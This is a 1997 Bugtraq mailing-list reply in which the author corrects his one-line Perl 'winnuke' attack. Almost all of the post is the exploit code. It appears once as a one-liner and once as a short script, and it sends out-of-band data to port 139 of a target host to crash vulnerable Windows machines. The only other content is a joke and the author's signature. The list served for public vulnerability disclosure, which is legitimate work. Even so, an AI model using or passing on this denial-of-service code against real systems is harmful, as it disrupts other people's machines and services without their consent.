[4575] in bugtraq
Re: winnuke in one line of perl5.004
daemon@ATHENA.MIT.EDU (Randal Schwartz)
Mon May 26 13:31:49 1997
Date: Mon, 26 May 1997 05:57:49 -0700
Reply-To: Randal Schwartz <merlyn@STONEHENGE.COM>
From: Randal Schwartz <merlyn@STONEHENGE.COM>
To: BUGTRAQ@NETSPACE.ORG
In-Reply-To: Randal Schwartz's message of Sun, 25 May 1997 16:03:57 -0700
>>>>> "Randal" == Randal Schwartz <merlyn@STONEHENGE.COM> writes:
Randal> perl -MIO::Socket -e 'IO::Socket::INET->new(PeerAddr=>"some.windoze.box")->send("bye",MSG_OOB)'
Randal> OK. One *slightly long* line.
Ouch. Forgot the port number. Once more, with feeling:
perl -MIO::Socket -e 'IO::Socket::INET->new(PeerAddr=>"bad.dude.com:139")->send("bye",MSG_OOB)'
And formatted so it's a little easier to read:
#!/usr/bin/perl
use IO::Socket;
IO::Socket::INET
->new(PeerAddr=>"bad.dude.com:139")
->send("bye", MSG_OOB);
There. I hope they don't take away my Perl goo-roo card for that faux
pas. :-)
--
Name: Randal L. Schwartz / Stonehenge Consulting Services (503)777-0095
Keywords: Perl training, UNIX[tm] consulting, video production, skiing, flying
Email: <merlyn@stonehenge.com> Snail: (Call) PGP-Key: (finger merlyn@ora.com)
Web: <A HREF="http://www.stonehenge.com/merlyn/">My Home Page!</A>
Quote: "I'm telling you, if I could have five lines in my .sig, I would!" -- me
